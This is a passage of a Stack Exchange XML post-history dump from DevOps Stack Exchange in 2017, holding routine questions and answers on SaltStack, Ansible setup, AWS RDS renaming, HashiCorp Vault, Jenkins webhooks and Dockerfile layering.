'roles:production':&#xD;&#xA;&gt;         - match: grain&#xD;&#xA;&gt;         - salt.master&#xD;&#xA;&gt;       'roles:dev':&#xD;&#xA;&gt;         - match: grain&#xD;&#xA;&gt;         - api-dev&#xD;&#xA;&#xD;&#xA;Alternatively you may consider using environments in SaltStack, see here for more details: https://docs.saltstack.com/en/latest/ref/states/top.html#environments&#xD;&#xA;&#xD;&#xA;However, roles are more suitable for running specific states, at least We use them in our our company. So up to you what is the best ;) " ContentLicense="CC BY-SA 3.0" />
  <row Id="5476" PostHistoryTypeId="5" PostId="634" RevisionGUID="c4d0081f-822e-49ba-8965-f5f4be64b006" CreationDate="2017-08-13T03:44:25.660" UserId="60" Comment="Improved formatting, fixed minor typo" Text="At the risk of getting vote down, off-topic  or even heresy, I going to tell you, &#xD;&#xA;&quot;Don't listen to the purists telling you that DevOps is not a role.&quot;&#xD;&#xA;&#xD;&#xA;You are on the right track. **It should fit your company.** That's what matters when hiring.&#xD;&#xA;&#xD;&#xA;If you need a DevOps, to work like a DevOps, produce results like DevOps, it is a DevOps. &#xD;&#xA;&#xD;&#xA; * Don't let anyone dissuade you otherwise.&#xD;&#xA; * Advertise anyway.&#xD;&#xA; * Interview anyway.&#xD;&#xA; * Hire anyway.&#xD;&#xA;&#xD;&#xA;While at that, find out more about DevOps, how the concept can fit into your company, how does the person fits in.&#xD;&#xA;&#xD;&#xA;Distill out more about the role you need to fill. Search for questions you can ask. There are plenty of [example][1], even if you are not subject matter expert. Some good old-fashioned patience and hardwork.&#xD;&#xA;&#xD;&#xA;Do you need an employee? Or freelancer? A jack of all trades? Only you know your company well. &#xD;&#xA;&#xD;&#xA;Create your unique culture that is your interpretation of DevOps.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.quora.com/What-are-some-good-interview-questions-for-a-DevOps-position" ContentLicense="CC BY-SA 3.0" />
  <row Id="5477" PostHistoryTypeId="24" PostId="634" RevisionGUID="c4d0081f-822e-49ba-8965-f5f4be64b006" CreationDate="2017-08-13T03:44:25.660" Comment="Proposed by 60 approved by 47, 46 edit id of 396" ContentLicense="CC BY-SA 3.0" />
  <row Id="5478" PostHistoryTypeId="5" PostId="319" RevisionGUID="4631497d-f0e2-487d-a4c4-e850949c2753" CreationDate="2017-08-13T03:44:28.777" UserId="60" Comment="Improved formatting" Text="I think you already got some comprehensive responses, but you said your english isn't great, so I'll try to provide a very brief and understandable answer:&#xD;&#xA;&#xD;&#xA; - The primary goal of development is to make changes.&#xD;&#xA; - The primary goal of operations is to keep the environment stable.&#xD;&#xA;&#xD;&#xA;These two things conflict. That being said, development and operations should not oppose one another. They should work together to make sure both goals can be achieved. This is the purpose of DevOps." ContentLicense="CC BY-SA 3.0" />
  <row Id="5479" PostHistoryTypeId="24" PostId="319" RevisionGUID="4631497d-f0e2-487d-a4c4-e850949c2753" CreationDate="2017-08-13T03:44:28.777" Comment="Proposed by 60 approved by 47, 46 edit id of 397" ContentLicense="CC BY-SA 3.0" />
  <row Id="5480" PostHistoryTypeId="2" PostId="1728" RevisionGUID="9efd3870-bce4-456f-b592-6c557ca0beb1" CreationDate="2017-08-13T08:20:46.610" UserId="2962" Text="Yes you can change the name of the RDS instance, but it is highly discouraged to do so in LIVE Production environment. It would change the EndPoint which might impact other resources actively accessing the RDS server (like an application server).&#xD;&#xA;&#xD;&#xA;  This would probably require a property / env-variable change in your code or configs (which would ideally end up for a release of config through config management)&#xD;&#xA;&#xD;&#xA; To avoid disruption (In future) and rollout changes with lesser RTO , you can create an intermediate DNS entry (CNAME) in Route53 for your RDS server and use the intermediate URL in your application. When the RDS server name changes you could just change the DNS CNAME of the new RDS Endpoint. **NOTE:** During the name change your RDS server would be unavailable (with old name) for few minutes and this might cause disruption&#xD;&#xA;&#xD;&#xA;That being said, you are already biased on a solution (change of RDS names) for your problem. BuT&#xD;&#xA;&#xD;&#xA;There are multiple solutions for your actual problem (managing RDS servers for each project)&#xD;&#xA;&#xD;&#xA; A. Try to avoid using AWS Console as much as possible. Why dont you start looking into AWS CLI (which can pull the tags) and write a wrapper Python/Bash script to list all the RDS servers - with Project Names, from this output you could manage these servers, like take a snapshot , backup etc. You can also use mysql --login-path (If you are on mysql for DB administration)&#xD;&#xA;https://opensourcedbms.com/dbms/passwordless-authentication-using-mysql_config_editor-with-mysql-5-6/.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  B. (Cost agnostic approach) If you have anyways decided to change the RDS Names, then there is something you can do without any impact. &#xD;&#xA;&#xD;&#xA;    B.1 When the next code/config release happens try to bring in the intermediate DNS change into action.&#xD;&#xA;&#xD;&#xA;    B.2 (Optional) Enable Multi AZ in RDS (HA and twice the price). This will help your application to access the secondary active slave when there is any disruption due to name change. There is an option called Reboot with failover which would reboot the master while failing over to the active secondary &#xD;&#xA;&#xD;&#xA;    B.3 Enable replication (read-replica) (this will give you a new RDS end-point). Name the read replica properly with your project names&#xD;&#xA;&#xD;&#xA;    B.4. Once replication is complete (and during your SLA / maintenance window) promote your read replica (this will break replication) and make the intermediate DNS point to the new RDS (with your proper names)&#xD;&#xA;&#xD;&#xA;&gt; **NOTE**  All the above approaches would not guarantee data integrity and improper data updates due to in-flight transactions. So it is&#xD;&#xA;&gt; always better to stop all transactions (by stopping all application&#xD;&#xA;&gt; accessing and deploying a maintenance page and do the operations)&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;  " ContentLicense="CC BY-SA 3.0" />
  <row Id="5481" PostHistoryTypeId="2" PostId="1729" RevisionGUID="e51d4245-e4db-4511-9ee3-0a1d44b8d241" CreationDate="2017-08-13T08:37:05.657" UserId="3752" Text="You can use sharing volumes between the host that run the container and the instance, in this case you can put the crt files in anywhere in the hosts then map it to specific folder in the container, the same for configuration you can configure the service to read the configuration file from specific path and every time you mount whatever configuration you like to that specific folder and the service will read it.&#xD;&#xA;&#xD;&#xA;For more info:&#xD;&#xA;https://docs.docker.com/engine/admin/volumes/volumes/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5482" PostHistoryTypeId="2" PostId="1730" RevisionGUID="f3d32b47-0e72-44e2-aa15-97b84025f8fd" CreationDate="2017-08-13T08:51:20.703" UserId="2962" Text="As you are trying to manage multiple servers you should start looking into any config management tools.&#xD;&#xA;&#xD;&#xA; You could start looking into Ansible, as it is easier to setup and manage than other CM tools like Chef and Puppet (which have their own dependent resources to manage and run) .&#xD;&#xA;&#xD;&#xA; Ansible is agentless, SSH based config tool written on python. (But it does not require you to code in py)&#xD;&#xA;&#xD;&#xA; You just have to learn yml syntax (Jinja2) which is pretty easy . Its just a set of instructions on how to configure the server&#xD;&#xA;&#xD;&#xA; Now coming to your use case&#xD;&#xA;&#xD;&#xA;1. When you say that you push the docker images to multiple server across globe (which means you have a central node which can connect to all servers). This node can behave like the Ansible master (Where you install all ansible dependencies) &#xD;&#xA;&#xD;&#xA; If its is Deb based I have the scripts handy&#xD;&#xA;&#xD;&#xA;			sudo apt-get -y install python-dev &#xD;&#xA;			sudo apt-get -y install libffi-dev&#xD;&#xA;			sudo apt-get -y install libssl-dev&#xD;&#xA;			sudo pip install paramiko &#xD;&#xA;			sudo pip install PyYAML &#xD;&#xA;			sudo pip install Jinja2 &#xD;&#xA;			sudo pip install httplib2 &#xD;&#xA;			sudo pip install six &#xD;&#xA;			sudo pip install markupsafe  &#xD;&#xA;			sudo pip install ansible&#xD;&#xA;&#xD;&#xA;2.  After you install ansible write a sample playbook  (with just a echo command)&#xD;&#xA;http://docs.ansible.com/ansible/latest/playbooks_intro.html&#xD;&#xA;&#xD;&#xA;3. Lists all your servers in the inventory file&#xD;&#xA;http://docs.ansible.com/ansible/latest/intro_inventory.html&#xD;&#xA;&#xD;&#xA;4. Execute your playbook for testing with below command&#xD;&#xA;ansible-playbook &lt;playbook.yml location&gt; -i &lt;invetory-file-location&gt; --extra-vars &quot;key=Value&quot;&#xD;&#xA;&#xD;&#xA;5. Modify your playbook to include Docker image and set env variables of your credentials. Encrypt your creds using Bcrypt or some util&#xD;&#xA;&#xD;&#xA;6. Store your playbooks in Git or other Source control&#xD;&#xA;&#xD;&#xA;Happy Coding in Ansible." ContentLicense="CC BY-SA 3.0" />
  <row Id="5483" PostHistoryTypeId="2" PostId="1731" RevisionGUID="be6ad4fe-26ea-435c-9ffc-2805e6f143ea" CreationDate="2017-08-13T09:31:19.770" UserDisplayName="user3351" Text="Scrum teams use definition of “done” to assess when work is complete on the product increment.&#xD;&#xA;&#xD;&#xA;As per scrum guide when a product backlog item or an increment is described as “done”, everyone must understand what &quot;done&quot; means. Although this varies significantly per scrum team, members must have a shared understanding of what it means for work to be complete, to ensure transparency.&#xD;&#xA;&#xD;&#xA;Daniel Gullo, Founder and Principal at Apple Brook Consulting, Certified Scrum Coach and Certified Scrum Trainer, shares his views on usage of definition of “done” in his recent blog. He says that there are different contexts of “done,” which can be applied at the story level, epic level, release level, product level, and so on.&#xD;&#xA;&#xD;&#xA;Daneil says that there are different perspectives of “done”. &#xD;&#xA;&#xD;&#xA;&gt; The word “done” is often used to mean “complete” as in the Development&#xD;&#xA;&gt; Team saying: “We are done with this story.” It is also used to&#xD;&#xA;&gt; indicate “acceptance” as in the Product Owner saying “This story is&#xD;&#xA;&gt; done.” I typically teach and coach it this way: Don’t say “done.”&#xD;&#xA;&gt; Instead, use “complete” and “accepted” for more specific indications&#xD;&#xA;&gt; of status." ContentLicense="CC BY-SA 3.0" />
  <row Id="5484" PostHistoryTypeId="2" PostId="1732" RevisionGUID="9911b8f9-288c-42e4-ac3b-75133cf92f6d" CreationDate="2017-08-13T15:58:06.117" UserId="210" Text="According to [this tutorial][1], it is possible to delete a secret, by running:&#xD;&#xA;&#xD;&#xA;    vault delete secret/hello&#xD;&#xA;&#xD;&#xA;What will if someone in the organization accidentally removed a secret. Is it still possible to recover this?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/intro/getting-started/first-secret.html&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5485" PostHistoryTypeId="1" PostId="1732" RevisionGUID="9911b8f9-288c-42e4-ac3b-75133cf92f6d" CreationDate="2017-08-13T15:58:06.117" UserId="210" Text="Is one able to recover accidentally deleted HashiCorp's Vault secrets?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5486" PostHistoryTypeId="3" PostId="1732" RevisionGUID="9911b8f9-288c-42e4-ac3b-75133cf92f6d" CreationDate="2017-08-13T15:58:06.117" UserId="210" Text="&lt;hashicorp-vault&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5487" PostHistoryTypeId="4" PostId="1732" RevisionGUID="07c50eec-f08e-4e51-b1c5-26f4c044d23c" CreationDate="2017-08-13T16:07:39.250" UserId="210" Comment="edited title" Text="Is it possible to recover accidentally deleted HashiCorp's Vault secrets?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5488" PostHistoryTypeId="2" PostId="1733" RevisionGUID="d2433235-fdb2-4659-8a72-5a342b786a68" CreationDate="2017-08-13T20:18:47.533" UserId="3766" Text="You can easily set the target operating system and processor architecture using the environment variables **GOOS** and **GOARCH** respectively. So, as you want to build it for linux operating system, following command with above environment variables will do, &#xD;&#xA;&#xD;&#xA;    $ GOOS=linux GOARCH=amd64 go build -o hello main.go&#xD;&#xA;&#xD;&#xA;Here is the [list of all the supported operating system][1] with which you can easily do cross compilation using Go lang. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://golang.org/doc/install/source#environment" ContentLicense="CC BY-SA 3.0" />
  <row Id="5489" PostHistoryTypeId="2" PostId="1734" RevisionGUID="a1b20ccf-d72a-4454-98e3-4e8d4f49c764" CreationDate="2017-08-13T20:31:59.540" UserId="3766" Text="On IBM bluemix platform we can write the cloud functions using OpenWhisk. But, what exactly it is ? And, how can I set up a cluster using this technology ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5490" PostHistoryTypeId="1" PostId="1734" RevisionGUID="a1b20ccf-d72a-4454-98e3-4e8d4f49c764" CreationDate="2017-08-13T20:31:59.540" UserId="3766" Text="What is OpenWhisk ? How can I set up a cluster using the OpenWhisk?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5491" PostHistoryTypeId="3" PostId="1734" RevisionGUID="a1b20ccf-d72a-4454-98e3-4e8d4f49c764" CreationDate="2017-08-13T20:31:59.540" UserId="3766" Text="&lt;cloud&gt;&lt;serverless&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5492" PostHistoryTypeId="2" PostId="1735" RevisionGUID="53adc43a-a047-45ab-8a21-a615f351b3c8" CreationDate="2017-08-14T03:48:43.153" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="5493" PostHistoryTypeId="1" PostId="1735" RevisionGUID="53adc43a-a047-45ab-8a21-a615f351b3c8" CreationDate="2017-08-14T03:48:43.153" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5494" PostHistoryTypeId="2" PostId="1736" RevisionGUID="5b497d32-ee76-4f3c-b291-5a4eee5ced47" CreationDate="2017-08-14T03:48:43.153" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="5495" PostHistoryTypeId="1" PostId="1736" RevisionGUID="5b497d32-ee76-4f3c-b291-5a4eee5ced47" CreationDate="2017-08-14T03:48:43.153" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5496" PostHistoryTypeId="2" PostId="1737" RevisionGUID="36ebdfc4-b905-42d9-97ef-b45d7bb4e5e6" CreationDate="2017-08-14T04:44:30.853" UserId="3907" Text="We always tend to have a moral implications of certain critical decisions taken for development irrespective of the realisation if the decision is critical or not. Say for example switching an entire stack for a team of developers or enforcing them to start using a new frontend framework, etc.  &#xD;&#xA;&#xD;&#xA;For now, I am trying to understand the implications of introducing docker to the development team. I have the following questions &#xD;&#xA;&#xD;&#xA;1. Why should a developer care about Docker ? His / Her job is to fulfil the business requirement and that's it. Why should he / she be bothered about the dockerfile or which orchestrator his / her app should be running etc.&#xD;&#xA;&#xD;&#xA;2. When the application is crashed several times due to the issue in the orchestrator (_swarm, kube, mesos_) or due to poor orchestration of the developer due to lack of knowledge, who is responsible ? The one who sets up the orchestrator (_DevOps maybe_) or the developer himself ?&#xD;&#xA;&#xD;&#xA;3. What is the role of SRE ? Should an SRE be keeping an eye on the infrastructure 24/7 or he / she should become a part of the dev team, fix development issue related to infrastructure, provide containerisation to the dev team, etc. Basically should he / she become a watch dog for the infrastructure or the one who becomes bridge between devs and devops to tackle infrastructure related issue.&#xD;&#xA;&#xD;&#xA;4. Is it necessary for every developer to learn and understand the concepts of docker and various orchestration platform out there ?&#xD;&#xA;&#xD;&#xA;5. Is docker just a tool for ease of deployment or it holds some value in the development as well (_I can't think of one right now_) ?&#xD;&#xA;&#xD;&#xA;I think docker can become a playground for blame game and I wish to avoid it. I want to understand the roles that needs to be placed in Dev and DevOps teams in order to avoid chaos when the app fails to deliver its SLA.  &#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="5497" PostHistoryTypeId="1" PostId="1737" RevisionGUID="36ebdfc4-b905-42d9-97ef-b45d7bb4e5e6" CreationDate="2017-08-14T04:44:30.853" UserId="3907" Text="Implications of introducing Docker to the development team" ContentLicense="CC BY-SA 3.0" />
  <row Id="5498" PostHistoryTypeId="3" PostId="1737" RevisionGUID="36ebdfc4-b905-42d9-97ef-b45d7bb4e5e6" CreationDate="2017-08-14T04:44:30.853" UserId="3907" Text="&lt;docker&gt;&lt;project-management&gt;&lt;orchestration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5499" PostHistoryTypeId="2" PostId="1738" RevisionGUID="f87cccb0-e5b9-441d-a724-9381851e2105" CreationDate="2017-08-14T04:55:25.703" UserId="707" Text="@Abhay Pai &#xD;&#xA;&#xD;&#xA;why not posting this as 5 different questions?&#xD;&#xA;&#xD;&#xA;1. Google for &quot;left shift&quot; in DevOps context.&#xD;&#xA;2. Consider DevOps team patterns http://web.devopstopologies.com/&#xD;&#xA;3. &quot;While DevOps raise problems and dispatch them to Dev to solve, the SRE approach is to find problems and solve some of them themselves.&quot; https://devops.com/sre-vs-devops-false-distinction/&#xD;&#xA;4. Depends on your requirements to their profile IMO but in general I think that the question is like &quot;do smb has to learn advanced things which might help a lot..?&quot; no, but.. ;)&#xD;&#xA;5. Try out Docker as integration testing tool combined with your CI/CD solution.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5500" PostHistoryTypeId="2" PostId="1739" RevisionGUID="36bf834f-06a5-4c63-a387-086885d44e2a" CreationDate="2017-08-14T05:47:43.220" UserId="707" Text="Docker images are after all VM templates, i.e. they have to be more or less self-contained: you get the image, you run the environment with all the dependenices.&#xD;&#xA;&#xD;&#xA;To approach the challenge **operationally**, Docker supports reuse of environments through FROM statement i.e. you could maintain a base image and on top a much smaller image with the app itself. &#xD;&#xA;&#xD;&#xA;But, from the **strategic point of view**, I would say your architects might want consider splitting the whole thing into smaller microservices - that would allow for 5 smaller images. Of course I cannot judge whether it's really possible." ContentLicense="CC BY-SA 3.0" />
  <row Id="5501" PostHistoryTypeId="2" PostId="1740" RevisionGUID="cc0adc34-32be-474d-af1d-0e6ad9acae33" CreationDate="2017-08-14T05:48:37.430" UserId="3907" Text="Generally a developer cares about satisfying business requirements. He / she might have the expertise in a particular stack or a framework. But should he / she make an effort to learn docker and it's various deployment methods (swarm, kube, mesos, etc) ?  &#xD;&#xA;&#xD;&#xA;Simply put why should a developer care about docker ?&#xD;&#xA;&#xD;&#xA;PS : The parent question to this post is [Implication of introducing docker to the development team][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/1737/implications-of-introducing-docker-to-the-development-team" ContentLicense="CC BY-SA 3.0" />
  <row Id="5502" PostHistoryTypeId="1" PostId="1740" RevisionGUID="cc0adc34-32be-474d-af1d-0e6ad9acae33" CreationDate="2017-08-14T05:48:37.430" UserId="3907" Text="Why should a developer care about Docker?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5503" PostHistoryTypeId="3" PostId="1740" RevisionGUID="cc0adc34-32be-474d-af1d-0e6ad9acae33" CreationDate="2017-08-14T05:48:37.430" UserId="3907" Text="&lt;docker&gt;&lt;project-management&gt;&lt;orchestration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5504" PostHistoryTypeId="2" PostId="1741" RevisionGUID="702f56cd-1bad-4aea-9537-d76357de0505" CreationDate="2017-08-14T05:59:28.360" UserId="707" Text="Here are for example some arguments from a blog post published back 2014 and titled in way quite matching your answer:&#xD;&#xA;&#xD;&#xA;&gt;  - Much more flexible injection of new technologies into the environment&#xD;&#xA;&gt;  - there is still a massive pain point between committing the final tested code and then getting it running on the final production servers. Docker vastly simplifies this final step&#xD;&#xA;&gt;  - Docker makes it trivial to keep legacy OS, no matter what flavor of Linux you are running&#xD;&#xA;&#xD;&#xA;From: https://thenewstack.io/why-you-should-care-about-docker/&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5505" PostHistoryTypeId="2" PostId="1742" RevisionGUID="da9a1ae4-c3ac-4908-91fe-38821a04b720" CreationDate="2017-08-14T06:23:04.317" UserId="210" Text="[The Production Hardening document][1] indicates how to harden Vault for production purposes, but what if Vault is run on for example Digital Ocean and the platform is unavailable or the disk gets corrupted?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/guides/production.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="5506" PostHistoryTypeId="1" PostId="1742" RevisionGUID="da9a1ae4-c3ac-4908-91fe-38821a04b720" CreationDate="2017-08-14T06:23:04.317" UserId="210" Text="What are best practices for running Hashicorp's Vault in terms of high availability?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5507" PostHistoryTypeId="3" PostId="1742" RevisionGUID="da9a1ae4-c3ac-4908-91fe-38821a04b720" CreationDate="2017-08-14T06:23:04.317" UserId="210" Text="&lt;hashicorp-vault&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5508" PostHistoryTypeId="2" PostId="1743" RevisionGUID="ab41f28c-474b-4994-98c3-6b6064cef4b8" CreationDate="2017-08-14T08:08:57.470" UserId="503" Text="If your secret backend is a separate service, which it should be, then with regular backups you should be able to stop vault, replace the backend with a backup and be good to go.&#xD;&#xA;&#xD;&#xA;I've done this for a file backend but don't know what would happen for other backends so ymmv." ContentLicense="CC BY-SA 3.0" />
  <row Id="5509" PostHistoryTypeId="2" PostId="1744" RevisionGUID="5f84f590-f7d3-4217-b718-2ba5a4f18eab" CreationDate="2017-08-14T08:16:20.673" UserId="210" Text="The Vault documentation indicates that there is a master key and that multiple keys are required to access the secrets, but does this mean that Vault is not suitable for personal projects if there is only one PC?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5510" PostHistoryTypeId="1" PostId="1744" RevisionGUID="5f84f590-f7d3-4217-b718-2ba5a4f18eab" CreationDate="2017-08-14T08:16:20.673" UserId="210" Text="Is Hashicorp's Vault suitable for personal projects as well?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5511" PostHistoryTypeId="3" PostId="1744" RevisionGUID="5f84f590-f7d3-4217-b718-2ba5a4f18eab" CreationDate="2017-08-14T08:16:20.673" UserId="210" Text="&lt;hashicorp-vault&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5512" PostHistoryTypeId="2" PostId="1745" RevisionGUID="71f601cd-37b3-46fc-9543-cc8afb13bbb8" CreationDate="2017-08-14T08:27:29.353" UserId="503" Text="Vault will distribute multiple unseal keys but there's nothing to stop you from keeping all of the keys in one place for a personal project.&#xD;&#xA;&#xD;&#xA;The one time I did it I set the keys to 3 and kept them in different physical locations along with online locations." ContentLicense="CC BY-SA 3.0" />
  <row Id="5513" PostHistoryTypeId="2" PostId="1746" RevisionGUID="94621621-7101-4899-adc1-f8f67df0917f" CreationDate="2017-08-14T09:03:10.917" UserId="3908" Text="I have enabled web hooks pull request in Bitbucket like below -&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And my Jenkins job configurations are as follows - &#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/auX0w.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/hxkYi.png&#xD;&#xA;&#xD;&#xA;Bitbucket hooks are getting invoked as soon as i create pull request but Jenkins job is not getting invoked. &#xD;&#xA;Can anyone help please? " ContentLicense="CC BY-SA 3.0" />
  <row Id="5514" PostHistoryTypeId="1" PostId="1746" RevisionGUID="94621621-7101-4899-adc1-f8f67df0917f" CreationDate="2017-08-14T09:03:10.917" UserId="3908" Text="Bitbucket Pull Request Builder Jenkins job is not getting invoked" ContentLicense="CC BY-SA 3.0" />
  <row Id="5515" PostHistoryTypeId="3" PostId="1746" RevisionGUID="94621621-7101-4899-adc1-f8f67df0917f" CreationDate="2017-08-14T09:03:10.917" UserId="3908" Text="&lt;jenkins&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5516" PostHistoryTypeId="2" PostId="1747" RevisionGUID="8077f954-74b6-49a0-8fbf-cdd6bee0506d" CreationDate="2017-08-14T09:33:57.283" UserId="210" Text="Instead of storing the Ansible code centrally, one could extract the code and distribute it to every project. Another benefit of this approach is that config and code will be seen together and that developers will change config and Ops could fix e.g. bugs instead of working in silos. Running the code per project will prevent that the executions will take longer, longer and longer." ContentLicense="CC BY-SA 3.0" />
  <row Id="5517" PostHistoryTypeId="2" PostId="1748" RevisionGUID="c47de630-0d07-4590-b04e-81e4422c3a48" CreationDate="2017-08-14T09:46:37.297" UserId="552" Text="If you are running your production in docker container it's crucial that those container are being made by the same developers that have build the app running on them.&#xD;&#xA;Who else is better place to know what external dependency are needed and so on ... ? &#xD;&#xA;&#xD;&#xA;Also pipeline can fail at any step during a CD, particularly when it's the docker image build step, sometimes it's a file who is missing or a lib that's needed.&#xD;&#xA;&#xD;&#xA;At work we've introduce all devs to docker explaining them the basics to build the dockerfile in order to serve their app, also we made the pipeline easy so one can only add a name and a dockerfile and its app will automatically be build on the next push regardless of the tech running it.&#xD;&#xA;&#xD;&#xA;Docker quickstart is really a great introduction to do so, after what the devOps team guide the dev in their choice of distro (a lot of them don't know things like `alpine`). &#xD;&#xA;&#xD;&#xA;Our job is to provide them an easy access to the tools, they do the rest so they can fix it when something is wrong. Docker is really a part of the development process and the devOps team provide them docker images that match our needs and that are easy enough so it take only a couple minute to create a new app and deploying it without assistance." ContentLicense="CC BY-SA 3.0" />
  <row Id="5518" PostHistoryTypeId="5" PostId="1736" RevisionGUID="497fc668-1b78-4ffa-adcb-f5e20f96f684" CreationDate="2017-08-14T11:00:39.933" UserId="60" Comment="added 93 characters in body" Text="Python is a dynamic and strongly typed programming language designed to emphasize usability. " ContentLicense="CC BY-SA 3.0" />
  <row Id="5519" PostHistoryTypeId="24" PostId="1736" RevisionGUID="497fc668-1b78-4ffa-adcb-f5e20f96f684" CreationDate="2017-08-14T11:00:39.933" Comment="Proposed by 60 approved by 40, 46 edit id of 399" ContentLicense="CC BY-SA 3.0" />
  <row Id="5520" PostHistoryTypeId="5" PostId="1735" RevisionGUID="5572aea9-5423-455f-8922-7138584ee78d" CreationDate="2017-08-14T11:00:42.640" UserId="60" Comment="added 421 characters in body" Text="[Python][1] is a [dynamic and strongly typed][2] programming language that is used for [a wide range of applications][3]. It is a general-purpose, high-level programming language that is designed to emphasize usability.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.python.org&#xD;&#xA;  [2]: https://wiki.python.org/moin/Why%20is%20Python%20a%20dynamic%20language%20and%20also%20a%20strongly%20typed%20language&#xD;&#xA;  [3]: https://www.python.org/about/apps" ContentLicense="CC BY-SA 3.0" />
  <row Id="5521" PostHistoryTypeId="24" PostId="1735" RevisionGUID="5572aea9-5423-455f-8922-7138584ee78d" CreationDate="2017-08-14T11:00:42.640" Comment="Proposed by 60 approved by 40, 46 edit id of 398" ContentLicense="CC BY-SA 3.0" />
  <row Id="5522" PostHistoryTypeId="2" PostId="1749" RevisionGUID="5c6ba879-6dac-42fe-879e-e0ed0c18e8cb" CreationDate="2017-08-14T12:26:19.030" UserId="2263" Text="The main advantage of these distros is the declarative approach which allows for setup to be done in the same way as you would configure a Vagrantfile or Dockerfile.&#xD;&#xA;&#xD;&#xA;In the way that Docker replaced/is replacing VMs for reproducibility, is there a chance these distros will eventually replace typical distros that are used in a DevOps setting due to their atomic and functional nature?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5523" PostHistoryTypeId="1" PostId="1749" RevisionGUID="5c6ba879-6dac-42fe-879e-e0ed0c18e8cb" CreationDate="2017-08-14T12:26:19.030" UserId="2263" Text="Are NixOS and GuixSD the incoming Linux distros of DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5524" PostHistoryTypeId="3" PostId="1749" RevisionGUID="5c6ba879-6dac-42fe-879e-e0ed0c18e8cb" CreationDate="2017-08-14T12:26:19.030" UserId="2263" Text="&lt;linux&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5525" PostHistoryTypeId="2" PostId="1750" RevisionGUID="a44cec53-5076-4716-9bf7-1df081f5d491" CreationDate="2017-08-14T14:34:20.093" UserId="60" Text="We have the following block in our `Dockerfile`:&#xD;&#xA;&#xD;&#xA;    RUN yum -y update&#xD;&#xA;    RUN yum -y install epel-release&#xD;&#xA;    RUN yum -y groupinstall &quot;Development Tools&quot;&#xD;&#xA;    RUN yum -y install python-pip git mysql-devel libxml2-devel libxslt-devel python-devel openldap-devel libffi-devel openssl-devel&#xD;&#xA;&#xD;&#xA;I've been told that we should unite these `RUN` commands to cut down on created docker layers:&#xD;&#xA;&#xD;&#xA;    RUN yum -y update \&#xD;&#xA;        &amp;&amp; yum -y install epel-release \&#xD;&#xA;        &amp;&amp; yum -y groupinstall &quot;Development Tools&quot; \&#xD;&#xA;        &amp;&amp; yum -y install python-pip git mysql-devel libxml2-devel libxslt-devel python-devel openldap-devel libffi-devel openssl-devel&#xD;&#xA;&#xD;&#xA;I'm very new to docker and not sure I completely understand the differences between these two versions of specifying multiple RUN commands. When would one unite `RUN` commands into a single one and when it makes sense to have multiple `RUN` commands?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5526" PostHistoryTypeId="1" PostId="1750" RevisionGUID="a44cec53-5076-4716-9bf7-1df081f5d491" CreationDate="2017-08-14T14:34:20.093" UserId="60" Text="Understanding docker layers" ContentLicense="CC BY-SA 3.0" />
  <row Id="5527" PostHistoryTypeId="3" PostId="1750" RevisionGUID="a44cec53-5076-4716-9bf7-1df081f5d491" CreationDate="2017-08-14T14:34:20.093" UserId="60" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 3.0" />
